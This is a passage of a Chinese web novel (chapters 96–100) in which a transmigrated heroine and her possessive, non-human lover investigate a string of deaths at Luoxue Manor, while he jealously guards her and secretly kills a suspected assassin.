少年衣裳凌乱不堪,一夜过去,颈侧的几处吻痕没有半分消散的迹象。 也不知道要留多久。 池镜花没有着急穿衣洗漱,而是倾身靠近对方,探出指尖,用手背去试探奚逢秋前额的温度。 似是料到她的想法,坐起的奚逢秋一把捉住她的手指,牢牢攥在手心的同时,脸颊温柔又贪婪地蹭蹭她的指尖。 “没关系,我不会生病的。” 也是,他毕竟不是人,还体质特殊,被她传染风寒的概率确实不大。 池镜花低低地“哦”了一声,抬眸望见他颈间的吻痕,像是做了亏心事似的垂下脑袋。 好吧。 她确实做得有些过火…… “过来。” 池镜花从他手中抽出手指,转而抓住他的手腕,把人按在梳妆台前,替他整理仪容仪表。 由于不擅长绑头发,池镜花给自己梳妆时几乎怎么舒服怎么来,眼 下帮奚逢秋打理被她抓乱的头发,她蓦然发现这件事变简单许多,也许因他没有那么多繁琐的发饰。 快速帮他束好墨发,接着,池镜花绕到他的正面,开始为他整理凌乱的衣裳。 虽然衣领无法遮掩耳后和脖颈的吻痕,但锁骨以下的痕迹还是可以盖住的。 察觉到她的用意,阻止她的行为,奚逢秋直接双手环抱住她的腰侧,彻底消除两人间的距离。 池镜花双手无所适从,最后只好搭在他的肩上,低头,对上他的双眼。 只见他微微仰面,耳侧的耳铛向后坠进乌黑的发丝中,他眼眸弯起,露出个清澈和煦的笑。 “为何要遮住?我喜欢你在我身上留下的这些痕迹。” 早就预料他要这么问,池镜花想也没想脱口而出:“因为我不想让别人看见,这些吻痕只能给我一个人看。” 像胡话,却也是真心话。 毕竟她没有暴露癖,实在没兴趣让第三个人看见她在他身上留下的亲密痕迹。 大抵没猜到她会这般回答,奚逢秋神色微微一怔,依旧抬头望着她,凝在眼底的笑意逐渐加深。 “嗯,我是你的。” 说话间,他又将脑袋埋进她的心口,极度不安地安地乱蹭,完全把自己代入小狗角色,在用力讨好主人。 “你也是我的……” 为安抚他,池镜花正要拥抱他,不想一阵规律的敲门声打断这一切。 池镜花蓦然一件事。 前两天,她遇到落雪山庄的丫鬟无双,听无双说现在正降温,客房被褥太薄,所以无双表示会挑个时间给她送被褥。 “等一下,我开个门。” 池镜花不好意思让无双等太久,忙推开奚逢秋,系好衣带,开了门。 不是无双。 而是一个素未谋面的丫鬟。 许看出她的疑虑,在池镜花开口之前,抱着厚被褥的丫鬟立即表明身份。 “我叫云霞,无双生病告假,由我来给少夫人送被褥。” 云霞没什么表情,眼神也冷冷的,一副拒人于千里之外的样子。 听到“少夫人”这几个字的池镜花尴尬地直挠脸。 “我自己来吧。” 她伸出双手打算从云霞手里接过被褥,不想云霞漆黑的眼珠一转,视线试图打量屋内,见什么也瞧不见,就直截了当地问道:“少夫人这里还有别人?” 池镜花指尖一顿,下意识回头。 她发现奚逢秋不知何时已识趣地躲起来,躲在她不知道的地方,毕竟,她还能感知到他的视线,如密密麻麻的蛛网。 池镜花摇摇头,“没,除了我,没别人了。” 云霞照旧面无表情,“既然方便,那就由我来吧。” 池镜花找不到拒绝的理由,只得放行。 进了屋的云霞直朝床边而去,边铺床边用余光边瞥向窗外斜对面的低矮房屋。 若池镜花没记错,那里是吴清泽住处。 说不起来哪里不对劲,可云霞的行为隐隐透着违和感。 就在此时,云霞已将被褥铺好,转过身,几步走到她跟前,机械般的开了口。 “请问少夫人跟少庄主是何时认识的?” 池镜花眼也不眨地胡乱找个说法搪塞,“很小的时候就认识了,我和他,是指腹为婚。” 话语掷地的瞬间,一直停在她身上的黏糊视线骤缩,犹如一跟无形长满倒刺的丛林藤蔓,散发淡淡幽香,一圈圈地缩小她的生活空间,直至贴着她的肌肤、缠紧她的四肢。 池镜花明显感觉自己心跳加速、呼吸急促。 他又醋了吗? 池镜花没想到,只是从她嘴里说了吴清泽的名字也能让他有如此大的反应。 看来,“你的嘴里只能出现我的名字”并非只是他说说而已,奚逢秋真会排斥除她以外的所有人。 尤其是被他视为情敌的吴清泽。 池镜花既哭笑不得,又莫名享受他潮水般的窒息爱意。 云霞显然不曾意识到不对劲,她正神色狐疑地上下观察池镜花。 “可我来山庄这么久,从未听过少庄主有个指腹为婚的未婚妻,您真是少庄主的未婚妻?” 池镜花硬着头皮点头,“……是。” 云霞继续追问:“那你们准备何时完婚?” 池镜花蓦然察觉四周升起一丝微不可察的杀意,显然是冲着云霞来的。 她顿感情况不妙,忙将云霞推出门外,“你自己去问少庄主吧,我相信他会告诉你的!” 池镜花不由分说,“啪”地一下将云霞关在门外,一转身,熟悉的身影已经迫近,衣角相叠,投下的黑色阴影完全笼罩住她。 少年神色平静,刻意敛起的情绪涌动潜藏无尽的杀意,并未随着云霞的离去而消散。 他慢慢笑了起来,指尖轻柔地抚过池镜花的发丝。 “她很讨厌,可以杀了她吗?” 池镜花觉得他的“讨厌名单”估计包含了除她以外的所有人。 他偏执地总想占据她的全部。 池镜花毫不犹豫地答道:“不可以。” 虽然她也认为云霞很怪,但在别人的地盘乱开杀戒着实离谱,她可不想让他被山庄内其他人仇视。 “你刚才……” 池镜花试图转移他的注意力,正要问他刚才藏在哪里,不想他的指尖先一步触碰到她的面庞。 他淡淡垂眸,静静望着她,眸底映出她的面容,片刻后,他微微歪了下脑袋,鲜红的耳铛绕着冷白的颈侧轻轻摇曳。 “你喜欢我吗?” 池镜花自动将他这一行为归为刚才云霞的话语刺激到了他。 “嗯,我喜欢你,不论你向我确认多少遍,答案都是一样的,我喜欢你,只喜欢你。” “哪里?” 池镜花没反应过来,怔愣在原地,“什么?” 少年微凉的指腹反复摩挲她的白嫩肌肤,很快她的肌肤在他指下泛起一片红意。 他笑着问:“你喜欢我哪里?” 跟母亲把他当成留住父亲的锁链不同,池镜花不需要他杀人,也不想利用做任何事情,甚至,她说她喜欢他。 与之前只想在他手下活命而编出喜欢他谎言的女子截然相反,池镜花没有骗他。 可是为什么? 教导他学做人的夫子曾说过,他生于母亲的血脉,母亲与他是最亲近的。 这样亲近的母亲都无法纵容他,他甚至还没做到与池镜花血肉相融,成为这世间最亲密的存在。 那她到底因何喜欢他? 他实在找不到自己能够讨她欢心的点。 或者,等她厌倦了他,是否就会弃他而去? 到那时,他又该如何把她留住? 或许,他应该学习母亲,为她打造一栋精致的牢笼,用一些手段把她强行锁在自己身边,即便 她恐慌、抗拒,只要不去看不去听,贪婪地拥有她就好了。 池镜花没想到他会对自己这样没有自信。 仔细想想,他前半生鲜少体会过爱,甚至不知喜欢为何物,所以当她明确坚定地站在他身边他时,怀疑为本能,他不明白自己还有哪里值得被选择的地方。 可要池镜花当面表达喜欢他的理由……还真是有点难为情! 她心慌地眼睛胡乱地瞟,见他迟迟未动,始以探究的视线盯着自己时,池镜花自知今日逃不过,只好叹气,花了一两分钟组织好语言。 “因为我也不是正常人,不管你做出多么奇怪变态的举动,我都可以接受。” “无论是你只想寸步不离地守着我,还是时时刻刻黏人的视线,又或者是极度病态占有欲,更有甚者你总在故意引诱我,这些我都很喜欢,不对,是很享受,这会让我觉得自己被需要着、被渴望着,当然,还有你的脸!” 颜值可是第一生产力,没有脸,她怎么可能众多任务中一眼选中他! 池镜花直接承认自己的颜狗属性,说着,双手抚上他的脸颊,毫无顾忌地乱摸。 听她一连串说了很多,奚逢秋垂着睫羽,神色平静地默默消化她的话语。 他有些诧异,这些别人厌恶的点居然成为她喜欢他的理由。 她果然很奇怪。 听上去有点像刻意迎合他。 可她没有说谎。 奚逢秋很是庆幸自己还剩下这些特点,以及这张脸来讨她欢心。 也许,他该利用这一切,接着,让她身边只剩他一人。 他不禁失笑一声,“那我们现在这样算什么?” 池镜花立即明白他说的是自己假扮吴清泽未婚妻一事。 虽是假扮,可除了他们几人,在别人看来,这就是真的。 也怪她自己,当时只顾着利用这件事刺激他,却没想过要如何收场。 所以,分明水到渠成的恋爱,却让这段关系成了见不得人的地下恋情。 池镜花顿了下,脑海中恍然冒出一个大胆的词语。 “偷、偷情?” 第97章 第97章我会嫉妒的。 从门缝里挤进一缕日光照在二人相互交叠的衣上,四周宛若浮着一层朦胧的金光,抖落下无数细小的颗粒。 少年先是神色不解,而后恍然记起在哪里听过这词语,他唇畔弧度渐起,露出个温温柔柔的笑容。 “偷情啊……” 池镜花啪的一下抱住他,整张脸埋进他的胸口,说话的声音有点沉闷,语气却格外欢快。 “别担心,就算是偷情,我迟早也会给你一个名分的。” 当然,所谓“偷情”说法不过是池镜花想逗他一逗,她有些期待他的反应。 毫不意外,当池镜花主动环住他腰身时,奚逢秋立立马回以更为紧密的拥抱,同时,指尖轻柔地抚摸着她柔软的发丝。 “可我会嫉妒。” 嫉妒? 池镜花蓦然想到一人,稍微仰头看他,“嫉妒吴清泽吗?” 奚逢秋垂下眸子,眼睫一颤,与她对上视线的瞬间,看似平静的眼底却充斥着强烈而窒息的占有欲。 “不止他,我会嫉妒与你亲近的所有人,想要杀了他们,让他们再也无法出现在你面前、夺走你的视线,包括我自己。” ——正如现在的他正无比嫉妒昨日的他得到了她的亲吻。 池镜花简直要被他清奇的脑回路给打败了。 怎么还会有人嫉妒自己的? 没等她想明白,奚逢秋却将她搂抱得更紧,恨不得钻进她的身体,霸道地与她融为一体。 下一秒,他俯下身子,几乎贴在埋进她颈窝里,随着一道道滚烫的呼吸打在池镜花颈侧,他的语气里夹杂着不安之情。 “所以,就算是偷情,你也只能喜欢我,好不好?” ……为什么他总在担心她会朝三暮四的呢? 池镜花长这么大身边又不是没有异性出没,可只有奚逢秋才令她体会到心动的感觉,她很确定,自己除了他不会再喜欢上别人。 如果可以,她也想跟他一直在一起。 池镜花用力推了推他,从他怀里挣脱,发丝扫过肩胛,她抬头望着他,表情认真又严肃。 “这世上没有第二人会让我喜欢你一样喜欢他,你是唯一的,懂了吗?” 唯一的…… 奚逢秋喜欢这个词语,就好像已创造出一个只有他们两人存在的混沌世界,渐渐地,他的躯体和神识进入她的,成为她身体的一部分,最终,两个独立的个体在黑暗中紧密交融。 想到这里,少年仿佛湖泊海洋的清澈眸底染上一丝兴奋的笑,他单手轻轻抚上她的脸颊,耳铛日光下颤了颤。 “池镜花,我爱你。” 池镜花愣了下,随即不停点头,“嗯,我知道。” 她知道的。 虽然奚逢秋对她只有80的好感度,可因他情感认知不同,他对她的爱意已远超常人,甚至愿意为她做任何事。 池镜花忽然在傩神幻境里发生的一切。 自她把奚逢秋从树林里带回去以后,他的存在似完全为她而活,眼下互通心意后病情更是加重。 他已不在乎除她以外的任何人。 思想实在过于偏激。 而且,这种偏激的伤害承受方似乎永远是他自己。 池镜花能做到只有尽自己最大的努力,永远待在他身边、不离开他半步。 “走吧。” 思考间,池镜花拉住他的手指,不由分说地把人往外带,不想一出门就被冷风吹得忍不住瑟缩一下,下意识把他握得更紧。 察觉指尖传来的力道,少年微微低头,望见池镜花被冻红的指尖。 身后墨发在冷风中微扬,奚逢秋见她大大方方地牵住自己的手,完全没有一点“偷情”的模样,蓦地弯唇笑了下。 “去哪里?” 池镜花边回忆着云霞的怪异举动,边朝钱管家的住处而去。 “我觉得云霞有点奇怪,而且,我记得少庄主给我的名单上有她的名字,我们去钱管家那里问问情况,调查一下她的家庭背景。” 奚逢秋对此不可置否。 虽然他毫不关心这位幕后凶手为何要铲除吴清泽身边的至亲至信,可池镜花在乎,而且扮成吴清泽的未婚妻以身犯险。 他忽然变得有些在意了。 池镜花丝毫没有察觉他内敛中的某种情绪波动,只记起发生在丰朝县的傩神一事。 她有些好奇地望着身侧之人,“对了,你是怎么说服赵道长去收服傩神那只女鬼的。” 替他们引路的白鹤在前方低空飞行,偶因速度过快而不得不站在树梢上等着两个人。 这时候,白鹤就会困惑地歪着脑袋打量二人,它不明白,为何主人不让它亲近池镜花,自己却能与她牵手。 此时,被白鹤诟病的奚逢秋正偏头瞧着少女,眉眼间蕴着藏不住的温润笑容。 “因为赵道长好像一直很在意跟在他身边的那只女鬼,我只是告诉他傩神可能对纪姑娘不利,他就主动帮忙了。” “……” 不得不说,他看别人很准,唯独对自己的感情很是迟钝,害她废了那么老大劲才从他口中听到一句“喜欢”。 池镜花报复性地狠狠捏了下他的指尖,趁他不注意又加快脚步把人拉走,根本不给他任何反抗的机会。 唯有耳畔寒风送来一声轻轻慢慢的笑。 池镜花权当听不见,拉他一起找到钱管家的住处。 见钱管家正要锁门出门,池镜花不想耽误人时间,赶紧禀明来意。 见他二人是为山庄事务奔赴,钱管家重重地叹了口气。 他告诉二人,其实早在昨日,他就已调查入府七年以上所有丫鬟仆从的身份背景,也将资料全部交予吴清泽审查,可吴清泽只说没什么特别的,嘱咐他别再追查下去。 听钱管家所言,池镜花觉得有些奇怪,直觉告诉她这里面有猫腻。 “可以将这份 背景资料给我们看看吗?” 钱管家神情犹豫地表示,昨日将背景资料送给吴清泽时,他觉得无用,所以放进火盆里烧了,如今只剩下一份花名册。 有总比没有好。 池镜花毫不介意地接过花名册,视线快速扫过,很快定位到云霞的姓名。 果然。 云霞是七年前来的,也即在落雪山庄的夫人出事前入府的。 所以,她完全有可能对夫人下手。 在池镜花陷入沉思时,奚逢秋却望着花名册在笑,他探出指尖,指着个素不相识的名字。 ——仇鸿羽。 奚逢语调温和,完全叫人看不出任何不对劲的地方。 “这个人现在还在山庄内吗?” 钱管家挠头努力回忆,“不在了,小仇早半年前就离开了,不过确实是七年前入府做事的。” 第98章 第98章你不好奇吗? 仇鸿羽…… 池镜花竭尽全力地回忆穿书以来所遇见的所有人。 很遗憾,她压根没听说过这个名字。 可奚逢秋却可以在这七八个人名中一眼找到仇鸿宇,证明两人一定存在某种联系。 但碍于钱管家还在这里,她没好直接问,只跟钱管家要了份花名册,决定去找吴清泽。 毕竟花名册上七八个人的家庭背景信息只有吴清泽看过。 当他们找到吴清泽时,青年杵着拐杖,身披狐裘大衣,静静站在树下赏梅。 寒风中的枝头飘下几片深红梅花,落在他的脚边。 听见脚步声传来,吴清泽转过头看向两人,神情虽依旧病恹,面上却始终挂着得体的微笑,询问二人因何而来。 但当池镜花问起花名册上七人的家庭背景时,吴清泽却罕见地皱起眉,深思熟虑半晌,才道了一句无关痛痒的话。 “实在没什么特别的。” 跟钱管家说得一样。 ……总不可能吴清泽帮谁掩盖什么吧。 池镜花被自己天马行空的想法吓了一跳。 似察觉到什么,吴清则不禁莞而一笑,语气里透着几分无奈。 “池姑娘不必怀疑我,若我知道杀害我亲人的凶手是谁,我断然不会帮她隐瞒。” 也对,毕竟没有哪个正常人会包庇杀害自己亲朋好友的凶手。 没有获取到任何有用信息的池镜花微不可察地叹气,一扭头,发现奚逢秋正一眨不眨地盯着自己。 恍然意识到什么,池镜花赶紧后撤一步,拉开她与吴清泽的距离的同时,还顺带往他身边靠了靠。 被她贴心的举动所取悦,奚逢秋不由笑了笑,转而抬头打量起树梢腊梅,只是没什么表情,唯有唇角扬着浅笑。 “这里离京师很近……” 声音依旧听不出什么情绪起伏。 池镜花神色微怔。 吴清泽却在点头,“嗯,是这样的,若从这里出发,快马加鞭的话,三天左右就可以到京师了。” 池镜花还是第一次听说,原来落雪山庄离京师这么近。 若是事情进展顺利的话,他们岂不是在年前就可以赶到京城? 池镜花掐着手指,算出春分就在春节那几天。 不知想到什么,她拽住奚逢秋的手腕,朝吴清泽恭敬地行一礼。 “那少庄主,我们就先走了,有任何消息会告诉你。” 吴清泽大抵想说什么,可在看见两个亲昵的举动,瞬间觉得自己有些多余,于是,到了嘴边的又被咽下,取而代之普通朋友间善意提醒。 “要注意安全,池姑娘。” 池镜花并未多想,礼貌道了声“多谢”,就赶紧把人拉走。 清脆的鹤唳声起起停停,四周清香阵阵,正是梅花盛开的季节,落雪山庄的无数梅树给平日冷清的景色平添几分艳丽。 池镜花忙完所有的事情,回到房间的第一件事是把花名册誊抄一份,让白鹤飞过去送给赵星澜,提醒他要重点关注这几个人。 等做完这一切,池镜花一扭头,好巧不巧与坐在她身侧的奚逢秋对上视线。 傍晚落日,余晖下的腊梅枝影斜落在他的侧脸,血红耳铛映出梅花的形状。 他独自等了许久,却没能等到想要的结果,只好主动开口问道:“你怎么不问我关于仇鸿羽的事情?” 池镜花眨两下眼睛,下意识反问:“那你又怎么知道我要问你这件事?” 奚逢秋眼眸低垂,打下的鸦色眼睫遮住眼底流露的大半情绪。 “不知道,但我想让你问我。” 池镜花哭笑不得,本能伸手替他拂去不知何时降在肩上几片花瓣。 “那你就不能直接跟我说吗?” “你不好奇吗?” 少年微微掀开眸子,眼底弥漫太多疑问,视线如钉子一般定在她脸上,以此探究她的内心。 “我对你一直都很好奇,你不好奇我吗?” ……怎么可能不好奇! 池镜花一直都对他的事情很感兴趣。 以前碍于关系不到位所以不好深究,现在虽然亲密不少,可每次总要她主动提及,他才会说,这样的方式效率太低。 池镜花甚至觉得,最好能像拍电影那样,把他先前所经历的一切制成个电影,看完电影就可以了解他的全部。 这样她就不会有此困扰。 “好奇好奇好奇!” 池镜花故意双手合十,做出祈求的姿态,想要满足一下他那变态的心理。 “求求你快告诉我吧,奚逢秋……” 像是彻底被她的态度所取悦,少年胸膛微微起伏,不由轻笑一声,指尖已无声息地覆上她的发丝,轻柔地一下下地抚摸拨弄。 “我认识仇鸿羽,是因为他和我一样,都靠接悬赏令为生的。” 奚逢秋记不清自己在多久以前见过那名长满络腮胡子的青年,只是对他那与野猪颇为相似的有趣长相很有印象。 “不过,他在很早之前接了个悬赏令就销声匿迹,我很意外他的名字会出现在这里。” 原来是这样。 明白一切的池镜花若有所思地点点头。 她想到这七年发生在落雪山庄的怪事。 最先离世的是吴夫人,死因为一夜暴毙,后面陆陆续续有十几个人相继离世,最后一人吴清泽的十岁弟弟。 他因失足坠河而亡,发生意外时他身边没有一个人在,等尸体打捞上来已经被河水浸泡到全身肿胀面目全非,只能凭出事前的衣裳认出死者身份。 而他出事的时间,正对应仇鸿羽离开山庄的半年前。 池镜花一开始以为幕后真凶可能是云霞,但靠云霞一个人在七年间,连续杀害山庄上下十几口人着实不现实,可她若有职业杀手作为帮手就不难实现。 可这些猜测都建立在一个提前上:云霞和仇鸿羽是一伙的。 可倘若云霞并非牵扯其中呢? 或者,仇鸿羽只是为了寻仇而向山庄报复呢? 又或者,跟仇鸿羽联手的另有其人? 没等池镜花想明白,耳畔忽传来一阵悦耳嗓音。 “你可以把这件事告诉赵道长,他会感谢你的。” 他说得不错。 他们确实应与男主确实应该信息共享,这样一来,她没想明白的事情,或许赵星澜能有眉目。 池镜花连连点头,抬脚往外走时,发现奚逢坐在原位没跟过来,不由心生困惑。 “你不跟我一起去?” 少年面上漾着乖巧纯良的笑,轻轻握住她刚喝过的瓷杯,对着她留下的淡淡痕迹,在自己的唇上点了一下。 “没关系,我在这里等你就好,不过天快黑了,你要快点找到赵道长。” 池镜花诧异地慢慢睁大眼睛。 太阳打西边出来了? 认识这么多天,他还是第一次选择没有跟她一道。 第99章 第99章由你做主。 这是奚逢秋首次没有与池镜花一起行动。 虽然她并非一定要跟连体婴儿似的与他时刻黏在一起,可当由奚逢秋主动提起时,总 令池镜花不上来的怪异。 可少年偏偏笑得如沐春风,如画般漂亮的眉眼蕴着数不尽的温柔,耐心的低声询问她怎么了。 池镜花瞬间噎住,忽然觉得她在以小人之心度君子之腹。 可她又实在担心奚逢秋在故意支开她,实则自己偷偷搞事。 池镜花快步走到他跟前,低头对上他的视线,她盯着他的双眸,深吸一口气,神情严肃而认真。 “我回来的时候要看见你。” ——当然,是为了防止他出去搞事。 奚逢秋轻轻抬眸,望着她笑,指尖情不自禁地勾住她的小指,慢慢插|进她的指缝中与她十指相扣,继而一用力,把人带到自己的怀里,按住她的腰侧,让她坐在自己腿上。 一开始还有点羞耻心,可次数一多,池镜花早就习惯,甚至在坐他身上的瞬间,双手已轻轻勾住他的脖颈。 他习惯性地替她胸前的一缕乌黑长发撩至身后,眼眸盛着温和的浅笑。 “你何时也变得这样黏人了?” 这个“也”字就很有灵性。 原来,他是知道自己黏人的,池镜花还以为他对方面完全没有自知之明呢。 池镜花毫不客气地迅速回道:“当然是跟你学的。” 被她的回应逗乐,奚逢秋不由轻笑一声,冰凉的指尖慢腾腾地覆上她的面颊,指腹一点点游走,细致描摹出她的五官,最终停在她殷红的唇上,轻轻地摩挲着。 他又想吻她了。 池镜花不明白他怎么这么喜欢亲她,微不可闻地叹了口气。 接着,她闭上眼睛,立即倾身靠过去,贴着他的唇瓣,迅速留下个蜻蜓点水的吻。 和先前不同,这一次,奚逢秋没有按着她的后脑索要深吻,而是眼睫一颤,虽不太满足,但还是慢慢松开握在她腰间十指。 池镜花抿了抿唇,得空站起身子,伸出手指帮他擦拭了下唇角余下的茶水。 “好了,我走了,别忘记你答应过我的事情。” 奚逢秋没有应声,只神色温柔地送她目送她离开此处。 池镜花前脚刚踏出,停在院内的白鹤像是接收到某种讯号,飞到她前头做开路先锋。 她斟酌着对白鹤道了声“谢谢”,也不知道小白有没有听见。 不过眼下天快黑了,她出门没有携带照明工具,最好赶紧办完事回去。 不得不说,有白鹤作伴,池镜花容易迷路的属性暂时得到缓解。 她行动效率极高,很快找到赵星澜,又只用一盏茶的功夫,便将整件事情的来龙去脉解释个清楚。 橙橘的烛火不停闪烁,视线朦朦胧胧,四周氤氲着香烛的淡淡香气。 池镜花一口气说了很多话,口干舌燥地喝下一杯水,抬眸发现赵星澜剑眉紧锁,拇指指腹有些不安地摩挲杯身。 沉思良久,赵星澜终于开口:“如此看来,确实是云霞跟仇鸿羽嫌疑最大。” 得到男主肯定的池镜花点头如捣蒜,“嗯嗯嗯,我也这么觉得,但还不能十分确定,赵道长,你有没有办法让云霞露出马脚?” 不费一兵一卒就让云霞自暴固然是好,可若这招行不通就只能想别的办法。 “我来!” 已吸收烛火香气的纪望慕迅速恢复精气神,她举起右手,像是发现了什么有趣的事情,眼睛里蹦出别样的光彩。 “让我来,我最擅长逼人说真心话了!” 池镜花眨眨眼,望向身为女鬼的女主,蓦地想到什么,诧异地慢慢睁大双眼。 “纪小姐,你该不会是想通过吓唬她,让她主动承认自己的所作所为吧?” 池镜花看过诸多影视作品,自然明白小鬼哪怕本性善良,大多都有爱吓人的天性,所以,女主遇上这种事怎么可能不凑个热闹。 小心思被她一语猜中,纪望慕不由露出神秘的微笑,如知心大姐姐那般,指尖轻柔地抚摸她的脑袋,毫不吝啬于自己的赞美之词。 “对啊,我们池姑娘可真聪明。” 这已经是池镜花不知多少次从别人那里收获“聪明”称赞。 池镜花却没有猜中后的高兴,反而面露忧愁,在思考这计划的可行性。 毕竟,云霞若真与这事有关,她的心理承受能力应该很强,不会被鬼随便吓一顿就全招了。 如同猜中他的心事,赵星澜歉意地笑了笑。 “池姑娘,不必担心,哪怕这个法子不行,我还有个更好的主意,相信一定可以证明云霞跟这件事的关系。” 见他如此自信,纪望慕有些不大服气地瞥向赵星澜。 “好,我们就比试比试,看谁能最快拿到指证云霞的证据。” 意识到自己的话语被误解,赵星澜露出个苦涩的笑,“望慕,你知道我并非……” “谁管你!” 纪望慕什么也听不进去,一溜烟地跑出门,左右张望了下,凭直觉选了个条路,准备直接去找云霞。 望着纪望慕的身影逐渐融于漆黑的夜里,池镜花颇为不解地挠脸。 ……这男女主怎么还突然较上劲了? 原著里有这段吗? 可能是相隔时间太久,久到池镜花已忘记男女主日常相处中的细节糖。 她不多作纠结,瞅了一眼天色,起身要离开。 “那赵道长,我就先回去了,你们有任何消息都可以来找我。” 赵星澜应了声“好”,又想起什么,说了句“等等”,转身找出一盏灯笼,嘱咐她路上小心。 池镜花低声道了句“多谢”,提着灯笼出了房门,与在门口等待已久的白鹤打个照面。 趁着主人不在,白鹤眼珠一转,蹑手蹑脚地走到她脚边,伸长脖颈,偷偷蹭了下她的指尖,随即满足地发出一声鹤唳,振翅飞高。 池镜花“噗嗤”一下笑出声来。 从某种程度上来说,他们可真不愧为主仆。 想到奚逢秋,池镜花不禁加快步伐,渴望快些见到他的心情在心中无限蔓延。 月明星稀,气温寒冷,少女干净的衣袂在黑夜中翩翩起舞,正步履欢快地往回赶。 待她回到住处,推开房门,小心敬慎地四处观察了下。 空气中没有传来血腥气味,四周亦无明显的打斗痕迹,整个屋子跟她离开的时候没有任何不同。 屋内蜡烛静静燃着,少年依旧地坐在原位,微弱的烛光照亮他苍白清冷的侧脸。 奚逢秋本正垂着眼睫盯着茶杯里的水出神,直到听见她的声音,才仰面露出个笑来。 像是独自等了她很久的样子。 见他如此听话不搞事,池镜花将灯笼丢在门口,走到他身旁坐下,跟他汇报行程。 “奚逢秋,我回来了。” 他举止自然地替她摘下落在发间的梅花花瓣,继而顺势轻轻捧住她的脸颊,整张脸凑到她跟前,莫名有些享受她呼吸时打在他肌肤上的气息。 奚逢秋睫羽微颤,因情绪波动而血流速度无意加快,却因有意克制,语调听不出任何区别。 “有把云霞的事情跟赵道长说吗?” “嗯,说了。” 池镜花一边点头,一边观察他的表情。 虽然环境跟他看上去都没什么异样,但依旧很奇怪,他为什么不跟她一道呢? 池镜花不得不再次怀疑他选择留下的动机。 她轻轻拂去他的手指,视线上下仔细打量他,很快注意到他角袍的新鲜血迹。 果然。 哪怕他竭力隐瞒,可只要做过的事情,一定会留下蛛丝马迹。 “你——” 池镜花才只说了一个字,下一瞬,她的嘴巴便被一只冰凉的手给捂住了。 奚逢秋反应速度极快,一手抵着她的后脑防止她挣脱怀抱逃跑,一手捂住她的嘴唇,不想从她口中听见任何恐惧自己的话语。 少年一举一动分明将她的行动完全禁锢,可当烛火猛地一闪时,他微微笑着,正好声好气地安抚她。 “别害怕,我只把试图对你不利的人杀了而已。” 池镜花隐约猜到是这么回事,包括他故意清理自己的外表和案发现场,全都因为她。 可她完全没有害怕啊。 这误会可大了。 池镜花用力狠狠推开他,怕他再度捂嘴,一挣脱怀抱就忙不迭的加快说话语速。 “我没有害怕,我只是想知道你刚才杀了谁。” 奚逢秋神色微怔,慢慢吐出三个字。 “仇鸿羽。” 他垂眸凝望着衣角沾上的血迹,顿时陷入回忆。 “是他来找我的,不对,他是来找你的,但你不在,所以他只找到我。” 蓦地,他又记起发生在金德镇的一件事,是他为纠正过去的错误而杀了袁府管家这件事。 怕重蹈覆辙,他有意提醒池镜花,抬眸时的眼底映上的血色尚未完全褪去,却以完全迷恋的神情望着她。 “别担心,我下手很快的,尸体也都处理好了,不会有人发现的。” 没想到,在做杀手这件事情上,他还挺专业的。 池镜花实在没辙地轻轻叹了口气,“下次你要做什么之前提前跟我打声招呼,不管是什么,我都会一直都站在你这边。” 现在他的行为完全以她的需求和安全为最高准则,假若池镜花因此指责他,那也太不识好歹了。 况且,这个仇鸿羽在这 个时间点登门,八成是受人所托来暗害她的。 孰好孰坏,她分得清。 听她所言,他眼含清澈的笑,忽地歪了歪脑袋,摇曳的耳铛映出烛火的模糊形状。 “我做得好吗?” 池镜花不疑有他地点头,“嗯,很好。” 他继续发问,颇有一步步试探她底线,得寸进尺的嫌疑,“那可以给我个奖励吗?” 少女困惑地眨眼,“什么奖励?” 早已过了午夜,万籁在此俱寂,紧闭的门窗已隔绝一切杂音,两道紧挨着的躯体只能听见彼此起伏的心跳声。 池镜花莫名心跳加速,一抬头,落入他不含任何杂质的蓝色眸底,可微微张开的薄唇却像鱼饵般引诱着她。 “由你做主。” 第100章 第100章靠近你、拥有你、占有你。…… 不知哪里钻出的一阵冷风,悄无声息地卷动烛火。 火光猛地一闪,照在少女白皙透亮的面颊,她长睫一颤,视线绕了一圈,最终落在他的指尖。 那里有他前几日留下的伤口。 像察觉到她的心思,奚逢秋故意摊开漂亮五指,令掌心触目惊心般的蜿蜒伤口更好曝光在烛光之下,以此来获取她的同情心。 池镜花觉得他简直可恶得很。 分明知道她的小心思,却总在被动等待。 可池镜花没有办法,当然,她也不想他为她改变什么,因为她所喜欢的那个人,就是他现在这样。 她十分乐意地握住他冰凉的手指,学着他经常对待自己那样,指尖一点点滑入他的指缝,直至彼此的距离被一点点填满到严丝合缝。 慢条斯理做完这一切地池镜花松了口气,轻轻抬眸观察他的表情变化。 很快,少年呼吸急促起来,他垂下眼眸,望着与她肌肤相触的指尖,体会到许久未曾感受到最真实的疼痛。 很疼。 但也仅是这样。 他眼睫颤抖着抬起,因情绪兴奋而逐渐氤氲在眼底的雾气尚未褪却,凝望着她的表情却异常平静,声音透着几分疑惑。 “只是这样吗?” 池镜花微微一怔,立即明白他想要跟她索取更多的奖励,却一点也不反感他的做法。 “你还想要什么奖励啊?” 语气虽然夹带着玩笑的成分,可只要他开口,在自己力所能及的范围内,池镜花都会竭尽全力满足他的。 少年没有说话,目光一寸寸滑过她的脸颊、五官,停在她微微扬起的唇瓣,不急不缓地开了口。 “只是想让你做完离开之前未做完的事情。” 原来,他绕这么大一圈,说来说去,还是想跟她亲近。 池镜花有些不明白他为何这么喜欢亲吻。 自她尝试与他第一次接吻,就好像打开了他身体的某个开关。 “你为什么这么喜欢与我……亲吻?” 斟酌半晌,池镜花终究没忍住问出口,只不过当她询问出他喜欢与她亲热的理由,还莫名地有点难为情。 他探出指尖轻轻点了下她的额头,唇角挂着一抹淡淡的笑。 “你是喜欢我的,对吗?” 附着在他指尖的凉意如一颗冰冷的雨水落在池镜花的额头,一点点渗进她的肌肤、融进她的血液。 池镜花禁不住打了个冷颤,不停地点头,“当然,我喜欢你!” 每每听到她这般赤|裸的表白,总会叫他身心愉悦。 少年自喉咙深处溢出一声低低的浅笑,双肩微不可闻地抖动一下,声音缱绻着数不尽暧昧和迷恋。 “那亲吻不正是你喜欢我的证明吗?” 啊??? 她这么强烈的喜欢还需要证明吗? 不是,他到底是多没安全感啊? 虽然池镜花大可以立即亲他给予他一定他安全感,可在此之前,她更想弄清楚他背后的行为逻辑。 她故意掩唇咳嗽一声,定了定心神,与他四目相对,真诚的目光落在他的眼上。 “是谁告诉你喜欢一个人要用亲吻来证明的?” 听她这般发问,少年不觉诧异,思绪慢慢回到过去,忆起在书籍上所看见的知识。 